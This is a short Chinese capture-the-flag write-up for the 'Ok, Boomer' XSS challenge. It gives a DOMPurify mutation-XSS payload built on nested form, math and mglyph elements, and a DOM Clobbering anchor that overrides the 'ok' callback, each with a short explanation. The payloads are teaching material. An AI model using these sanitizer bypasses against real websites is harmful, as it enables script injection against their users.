OK BOOMER

1.题目

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

2.思路

DOMPurify是一个流行的JavaScript库,用于防止XSS攻击。该库由一个世界著名安全团队cure53维护,原理是利用白名单,将非白名单内的属性和标签全部过滤。

所以思路主体分为两类,要不绕过要不bypass

思路一:绕过,通过嵌套form循环的错误解析

思路二:DOM Clobbering

3、payload

3.1 方案一

<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>

3.2 方案二

<a id="ok" href="javascript:alert(1)">

需要将题目中的Javascript:换成DOMPurify库中白名单(tel),因为并没有绕过它,所以直接使用Javascript:会被过滤.

 4、思考与总结

1.DOMPurity的绕过,关键点在于它返回的序列化HTML不符合HTML规范,包含了嵌套FORM元素,所以导致浏览器解析出的DOM树是错误的,img标签直接创建在HTML空间中

2.DOM Clobbering的重点,在于对“ok”的覆盖,a标签的toString方法是不继承于父类的,它返回的值是href属性。所以直接href属性中编写执行函数即可,但是由于没有绕过DOMPruity,因此使用的协议需要是在它的白名单内。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值